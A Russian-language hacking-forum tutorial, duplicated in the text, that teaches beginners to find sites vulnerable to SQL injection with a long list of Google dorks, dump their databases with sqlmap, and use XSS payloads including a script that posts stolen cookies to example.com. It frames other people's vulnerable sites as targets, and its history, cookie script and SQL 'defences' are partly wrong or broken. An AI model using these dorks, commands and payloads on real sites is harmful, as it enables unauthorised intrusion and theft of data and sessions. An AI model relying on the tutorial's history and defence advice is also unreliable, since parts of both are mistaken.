D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Всем добрый день!
т.к я начал свой путь в изучении уязвимостей web приложений, то хочу вставить свои 2 слова.
Это будет краткий экскурс для всех новичков(хотя надеюсь что будет полезно и для продвинутых)
В статье я буду начинать с самых азов, понемногу переходя к более сложным этапам.
Иногда в статье вы будете видеть подсчет символов - это копипаст. Это мне нужно для расчета итогового кол-ва + удобнее модераторам.
Спойлер: Содержание
Wiki:
В компьютерной безопасности термин «уязвимость» (англ. vulnerability, на сленге — дыра) используется для обозначения недостатка в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу. Уязвимость может быть результатом ошибок программирования, недостатков, допущенных при проектировании системы, ненадежных паролей, вирусов и других вредоносных программ, скриптовых и SQL-инъекций. Некоторые уязвимости известны только теоретически, другие же активно используются и имеют известные эксплойты. (534 символа)
мое мнение:
Уязвимость - это ошибка и/или недостаток в какой-либо системе, которая используется хакером для получения доступа к системе с целью получения выгоды. (определение маленькое, но считаю что понятное)
Актуальность темы
Спойлер: Статистика(взята из открытых источников)
Посмотрим на статистику. Что мы там увидим? доля уязвимых веб-приложений остается довольно высокой, что означает высокую потребность в специалистах. Хотя в нашем же случае высокая доля уязвимых веб-приложений - только подруку.
Теперь немного углубимся. С каждым годом становится все больше того, что можно взломать -> становится больше уязвимостей -> становится больше возможностей.
Краткая история
Первые уязвимости веб-приложений были обнаружены в 1965 году.
В 2000-х годах веб-приложения стали более сложными и функциональными. Это привело к увеличению количества уязвимостей
В 2010-х годах количество и разнообразие веб-уязвимостей продолжали расти
В 2020-х годах так же продолжает расти.
Самым первым человеком нашедшим уязвимость стал Вильям Д. Мэтьюс в 1965 году.
Какие бывают уязвимости
Что нужно для начала?
Операционная система - тут на ваш вкус и цвет, но наиболее распространенной является Linux.(в ней я и буду приводить примеры)
Браузер - Chrome или FireFox
Софт - Burp Suite, OWASP ZAP, Nmap, SQLmap и многие другие. В статье мы рассмотрим некоторые из них.
Начнем с OC. Т.к я пишу статью для чайников, то никакие virtual box мы использовать не будем, и никакие VDS покупать тоже не будем.
Сперва откроем power shell от имени администратора и введем команду
Заходим в Microsoft store и качаем Kali linux.
После установки заходим и настраиваем пользователя.
А почему только командная строка? потому что нужно установить kex
Вводим поочередно:
После установки вводим kex и получаем графический интерфейс.
Систему поставили, теперь можем переходить к основной части.
Главный вопрос - как определить sql уязвимость? Здесь все достаточно просто, самый известный способ - подставить ' в запрос. Например: example.com/product.php?id=3'
Если уязвимость есть, то нам выведет ошибку, на подобии
Еще одним способом является подставление выражения. Например:
example.com/product.php?id=1
example.com/product.php?id=1+1
если запросы возвращают одну и ту же страницу, то вероятно, что уязвимость есть.
В ручную все "взламывать" мы конечно же не будем. Используем sqlmap.
установка:
Перейдем к практике:
Первым делом нам нужно найти уязвимый сайт. Для этого мы можем использовать всеми любимые гугл дорки
Спойлер: Небольшой список гугл дорков
view_items.php?id=
home.php?cat=
item_book.php?CAT=
www/index.php?page=
schule/termine.php?view=
goods_detail.php?data=
storemanager/contents/item.php?page_code=
view_items.php?id=
customer/board.htm?mode=
help/com_view.html?code=
n_replyboard.php?typeboard=
eng_board/view.php?T****=
prev_results.php?prodID=
bbs/view.php?no=
gnu/?doc=
zb/view.php?uid=
global/product/product.php?gubun=
m_view.php?ps_db=
productlist.php?tid=
product-list.php?id=
onlinesales/product.php?product_id=
garden_equipment/Fruit-Cage/product.php?pr=
product.php?shopprodid=
product_info.php?products_id=
productlist.php?tid=
showsub.php?id=
productlist.php?fid=
products.php?cat=
products.php?cat=
product-list.php?id=
product.php?sku=
store/product.php?productid=
products.php?cat=
productList.php?cat=
product_detail.php?product_id=
product.php?pid=
view_items.php?id=
more_details.php?id=
county-facts/diary/vcsgen.php?id=
idlechat/message.php?id=
podcast/item.php?pid=
products.php?act=
details.php?prodId=
socsci/events/full_details.php?id=
ourblog.php?categoryid=
mall/more.php?ProdID=
archive/get.php?message_id=
review/review_form.php?item_id=
english/publicproducts.php?groupid=
news_and_notices.php?news_id=
rounds-detail.php?id=
gig.php?id=
board/view.php?no=
index.php?modus=
news_item.php?id=
rss.php?cat=
products/product.php?id=
details.php?ProdID=
els_/product/product.php?id=
store/description.php?iddesc=
socsci/news_items/full_story.php?id=
naboard/memo.php?bd=
bookmark/mybook/bookmark.php?bookPageNo=
board/board.html?table=
kboard/kboard.php?board=
order.asp?lotid=
goboard/front/board_view.php?code=
bbs/bbsView.php?id=
boardView.php?bbs=
eng/rgboard/view.php?&bbs_id=
product/product.php?cate=
content.php?p=
page.php?module=
?pid=
bookpage.php?id=
cbmer/congres/page.php?LAN=
content.php?id=
news.php?ID=
photogallery.php?id=
index.php?id=
product/product.php?product_no=
nyheder.htm?show=
book.php?ID=
print.php?id=
detail.php?id=
book.php?id=
content.php?PID=
more_detail.php?id=
content.php?id=
view_items.php?id=
view_author.php?id=
Скрытый контент для пользователей групп Администратор, Модераторы.
main.php?id=
english/fonction/print.php?id=
magazines/adult_magazine_single_page.php?magid=
product_details.php?prodid=
magazines/adult_magazine_full_year.php?magid=
products/card.php?prodID=
catalog/product.php?cat_id=
e_board/modifyform.html?code=
community/calendar-event-fr.php?id=
products.php?p=
news.php?id=
StoreRedirect.php?ID=
subcategories.php?id=
tek9.php?
template.php?Action=Item&pid=
topic.php?ID=
tuangou.php?bookid=
type.php?iType=
updatebasket.php?bookid=
updates.php?ID=
view.php?cid=
view_cart.php?title=
view_detail.php?ID=
viewcart.php?CartId=
viewCart.php?userID=
viewCat_h.php?idCategory=
viewevent.php?EventID=
viewitem.php?recor=
viewPrd.php?idcategory=
ViewProduct.php?misc=
voteList.php?item_ID=
whatsnew.php?idCategory=
WsAncillary.php?ID=
WsPages.php?ID=noticiasDetalle.php?xid=
sitio/item.php?idcd=
index.php?site=
После того как нашли подходящий сайт и убедились что уязвимость в нем есть, можем приступать к великому взлому.
запускаем линукс, переходим в директорию с sqlmap и вводим команду:
Если sqlmap нашел уязвимость, то он выведет список баз данных, например:
Теперь нам нужно узнать что вообще скрывают эти базы. Для этого мы тоже будем использовать sqlmap. Вводим команду:
python3 sqlmap.py -u "ваш сайт" -D ваша база -tables
Теперь нужно получить столбцы из нужной нам таблицы, я попробую получить из tbl_admin:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --columns
Так же мы можем получить все данные в этой таблице:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --dump
И так, мы получили то, что хотели. Теперь давайте разберем команды которые мы использовали:
XSS-атаки
Предположим что есть сайт с полем для ввода каких либо данных. Этот сайт никак не фильтрует вводимые пользователем данные.
У меня есть самописный сайт, который я никак и не от чего не защищал. На нем есть поле ввода данных:
Что мы можем сделать для проверки на xss уязвимость? Ввести в поле скрипт:
После ввода нажмем на enter и получаем:
Это был самый простой пример xss уязвимости, давайте разберем чуть посложнее
xss уязвимости могут быть использованы для кражи куки файлов:
Для начала мы можем просто вывести наши куки
т.к в js я на уровне старенького деда, то возьму уже готовый скрипт:
Спойлер: код
JavaScript: Скопировать в буфер обмена
К сожалению проверить на работоспособность я не смогу, но в качестве примера и общего понимания подойдет.
параметризованные запросы:
SQL: Скопировать в буфер обмена
здесь переменная :username используется для передачи значения имени пользователя в запрос
Функции экранирования:
SQL: Скопировать в буфер обмена
Здесь функция LOWER() используется для преобразования имени пользователя в нижний регистр.
Использование фильтров:
SQL: Скопировать в буфер обмена
используется фильтр LIKE, который проверяет, соответствует ли имя пользователя шаблону.
Это лишь малая часть способов защиты от sql-инъекций, на деле их куда больше.
Спасибо что прочитали, если статья понравится, то запилю вторую часть.
Скрытый контент для пользователей групп Администратор, Модераторы.
Скрытый контент для пользователей групп Администратор, Модераторы.
т.к я начал свой путь в изучении уязвимостей web приложений, то хочу вставить свои 2 слова.
Это будет краткий экскурс для всех новичков(хотя надеюсь что будет полезно и для продвинутых)
В статье я буду начинать с самых азов, понемногу переходя к более сложным этапам.
Иногда в статье вы будете видеть подсчет символов - это копипаст. Это мне нужно для расчета итогового кол-ва + удобнее модераторам.
Спойлер: Содержание
- Введение
- Понятие уязвимостей
- Актуальность темы
- Краткая история
- Какие бывают уязвимости
- Что нужно для начала?
- Основная часть
- SQL-инъекции
- XSS-атаки
- Заключение
- Рекомендации по защите
Введение
Понятие уязвимостейWiki:
В компьютерной безопасности термин «уязвимость» (англ. vulnerability, на сленге — дыра) используется для обозначения недостатка в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу. Уязвимость может быть результатом ошибок программирования, недостатков, допущенных при проектировании системы, ненадежных паролей, вирусов и других вредоносных программ, скриптовых и SQL-инъекций. Некоторые уязвимости известны только теоретически, другие же активно используются и имеют известные эксплойты. (534 символа)
мое мнение:
Уязвимость - это ошибка и/или недостаток в какой-либо системе, которая используется хакером для получения доступа к системе с целью получения выгоды. (определение маленькое, но считаю что понятное)
Актуальность темы
Спойлер: Статистика(взята из открытых источников)
Посмотрим на статистику. Что мы там увидим? доля уязвимых веб-приложений остается довольно высокой, что означает высокую потребность в специалистах. Хотя в нашем же случае высокая доля уязвимых веб-приложений - только подруку.
Теперь немного углубимся. С каждым годом становится все больше того, что можно взломать -> становится больше уязвимостей -> становится больше возможностей.
Краткая история
Первые уязвимости веб-приложений были обнаружены в 1965 году.
В 2000-х годах веб-приложения стали более сложными и функциональными. Это привело к увеличению количества уязвимостей
В 2010-х годах количество и разнообразие веб-уязвимостей продолжали расти
В 2020-х годах так же продолжает расти.
Самым первым человеком нашедшим уязвимость стал Вильям Д. Мэтьюс в 1965 году.
Какие бывают уязвимости
- SQL-инъекции: это уязвимости, которые позволяют внедрять свой собственный код в SQL-запросы. Это может привести к утечке данных.
- Cross-site scripting (XSS): это уязвимости, которые позволяют внедрять вредоносный код в веб-страницу. Этот код может быть использован для кражи учетных данных пользователей.
- Уязвимости в безопасности API: это ошибки в API-интерфейсах веб-приложений, которые могут быть использованы для получения доступа к системе.
- Уязвимости в безопасности конфигурации: это ошибки в конфигурации веб-приложения, которые могут быть использованы для получения к системе.
Что нужно для начала?
Операционная система - тут на ваш вкус и цвет, но наиболее распространенной является Linux.(в ней я и буду приводить примеры)
Браузер - Chrome или FireFox
Софт - Burp Suite, OWASP ZAP, Nmap, SQLmap и многие другие. В статье мы рассмотрим некоторые из них.
Начнем с OC. Т.к я пишу статью для чайников, то никакие virtual box мы использовать не будем, и никакие VDS покупать тоже не будем.
Сперва откроем power shell от имени администратора и введем команду
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
Заходим в Microsoft store и качаем Kali linux.
После установки заходим и настраиваем пользователя.
А почему только командная строка? потому что нужно установить kex
Вводим поочередно:
sudo apt update
sudo apt dist-upgrade
sudo apt install -y kali-win-kex
После установки вводим kex и получаем графический интерфейс.
Систему поставили, теперь можем переходить к основной части.
Основная часть
SQL-инъекцииГлавный вопрос - как определить sql уязвимость? Здесь все достаточно просто, самый известный способ - подставить ' в запрос. Например: example.com/product.php?id=3'
Если уязвимость есть, то нам выведет ошибку, на подобии
Kernel Error : 2 :: mysql_num_rows() expects parameter 1 to be resource, boolean given in /home1/site/public_html/nuts2/system/db/mysql/mysqlconnection.php line 128
Еще одним способом является подставление выражения. Например:
example.com/product.php?id=1
example.com/product.php?id=1+1
если запросы возвращают одну и ту же страницу, то вероятно, что уязвимость есть.
В ручную все "взламывать" мы конечно же не будем. Используем sqlmap.
установка:
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev/
./sqlmap.py --wizard
Перейдем к практике:
Первым делом нам нужно найти уязвимый сайт. Для этого мы можем использовать всеми любимые гугл дорки
Спойлер: Небольшой список гугл дорков
view_items.php?id=
home.php?cat=
item_book.php?CAT=
www/index.php?page=
schule/termine.php?view=
goods_detail.php?data=
storemanager/contents/item.php?page_code=
view_items.php?id=
customer/board.htm?mode=
help/com_view.html?code=
n_replyboard.php?typeboard=
eng_board/view.php?T****=
prev_results.php?prodID=
bbs/view.php?no=
gnu/?doc=
zb/view.php?uid=
global/product/product.php?gubun=
m_view.php?ps_db=
productlist.php?tid=
product-list.php?id=
onlinesales/product.php?product_id=
garden_equipment/Fruit-Cage/product.php?pr=
product.php?shopprodid=
product_info.php?products_id=
productlist.php?tid=
showsub.php?id=
productlist.php?fid=
products.php?cat=
products.php?cat=
product-list.php?id=
product.php?sku=
store/product.php?productid=
products.php?cat=
productList.php?cat=
product_detail.php?product_id=
product.php?pid=
view_items.php?id=
more_details.php?id=
county-facts/diary/vcsgen.php?id=
idlechat/message.php?id=
podcast/item.php?pid=
products.php?act=
details.php?prodId=
socsci/events/full_details.php?id=
ourblog.php?categoryid=
mall/more.php?ProdID=
archive/get.php?message_id=
review/review_form.php?item_id=
english/publicproducts.php?groupid=
news_and_notices.php?news_id=
rounds-detail.php?id=
gig.php?id=
board/view.php?no=
index.php?modus=
news_item.php?id=
rss.php?cat=
products/product.php?id=
details.php?ProdID=
els_/product/product.php?id=
store/description.php?iddesc=
socsci/news_items/full_story.php?id=
naboard/memo.php?bd=
bookmark/mybook/bookmark.php?bookPageNo=
board/board.html?table=
kboard/kboard.php?board=
order.asp?lotid=
goboard/front/board_view.php?code=
bbs/bbsView.php?id=
boardView.php?bbs=
eng/rgboard/view.php?&bbs_id=
product/product.php?cate=
content.php?p=
page.php?module=
?pid=
bookpage.php?id=
cbmer/congres/page.php?LAN=
content.php?id=
news.php?ID=
photogallery.php?id=
index.php?id=
product/product.php?product_no=
nyheder.htm?show=
book.php?ID=
print.php?id=
detail.php?id=
book.php?id=
content.php?PID=
more_detail.php?id=
content.php?id=
view_items.php?id=
view_author.php?id=
Скрытый контент для пользователей групп Администратор, Модераторы.
main.php?id=
english/fonction/print.php?id=
magazines/adult_magazine_single_page.php?magid=
product_details.php?prodid=
magazines/adult_magazine_full_year.php?magid=
products/card.php?prodID=
catalog/product.php?cat_id=
e_board/modifyform.html?code=
community/calendar-event-fr.php?id=
products.php?p=
news.php?id=
StoreRedirect.php?ID=
subcategories.php?id=
tek9.php?
template.php?Action=Item&pid=
topic.php?ID=
tuangou.php?bookid=
type.php?iType=
updatebasket.php?bookid=
updates.php?ID=
view.php?cid=
view_cart.php?title=
view_detail.php?ID=
viewcart.php?CartId=
viewCart.php?userID=
viewCat_h.php?idCategory=
viewevent.php?EventID=
viewitem.php?recor=
viewPrd.php?idcategory=
ViewProduct.php?misc=
voteList.php?item_ID=
whatsnew.php?idCategory=
WsAncillary.php?ID=
WsPages.php?ID=noticiasDetalle.php?xid=
sitio/item.php?idcd=
index.php?site=
После того как нашли подходящий сайт и убедились что уязвимость в нем есть, можем приступать к великому взлому.
запускаем линукс, переходим в директорию с sqlmap и вводим команду:
python3 sqlmap.py -u "ваш сайт" --dbs
Если sqlmap нашел уязвимость, то он выведет список баз данных, например:
Теперь нам нужно узнать что вообще скрывают эти базы. Для этого мы тоже будем использовать sqlmap. Вводим команду:
python3 sqlmap.py -u "ваш сайт" -D ваша база -tables
Теперь нужно получить столбцы из нужной нам таблицы, я попробую получить из tbl_admin:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --columns
Так же мы можем получить все данные в этой таблице:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --dump
И так, мы получили то, что хотели. Теперь давайте разберем команды которые мы использовали:
- -u URL, используется для вставки целевого сайта
- -D DB, используется для вставки имени базы данных
- -Е table, используется для вставки имени таблицы
- --columns, используется для показа столбцов
- --tables, используется для показа таблиц
XSS-атаки
Предположим что есть сайт с полем для ввода каких либо данных. Этот сайт никак не фильтрует вводимые пользователем данные.
У меня есть самописный сайт, который я никак и не от чего не защищал. На нем есть поле ввода данных:
Что мы можем сделать для проверки на xss уязвимость? Ввести в поле скрипт:
<script>alert("XSS");</script>
После ввода нажмем на enter и получаем:
Это был самый простой пример xss уязвимости, давайте разберем чуть посложнее
xss уязвимости могут быть использованы для кражи куки файлов:
Для начала мы можем просто вывести наши куки
<script>alert(document.cookie)</script>
т.к в js я на уровне старенького деда, то возьму уже готовый скрипт:
Спойлер: код
JavaScript: Скопировать в буфер обмена
Код:
<script>
function getCookies() {
var cookies = document.cookie.split(";");
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i].split("=");
var name = cookie[0];
var value = cookie[1];
console.log(name + "=" + value);
}
}
getCookies();
function sendCookies() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example.com/api/cookies");
xhr.setRequestHeader("Content-Type", "application/json");
var data = {
cookies: cookies
};
xhr.send(JSON.stringify(data));
}
sendCookies();
</script>
Заключение
Рекомендации по защите
- Использование параметризованных запросов
- Использование функций экранирования
- Использование фильтров
- Ограничение доступа к базе данных
параметризованные запросы:
SQL: Скопировать в буфер обмена
Код:
SELECT *
FROM users
WHERE username = :username
Функции экранирования:
SQL: Скопировать в буфер обмена
Код:
SELECT *
FROM users
WHERE username = LOWER(:username)
Использование фильтров:
SQL: Скопировать в буфер обмена
Код:
SELECT *
FROM users
WHERE username LIKE :username
Это лишь малая часть способов защиты от sql-инъекций, на деле их куда больше.
Спасибо что прочитали, если статья понравится, то запилю вторую часть.
Скрытый контент для пользователей групп Администратор, Модераторы.
Скрытый контент для пользователей групп Администратор, Модераторы.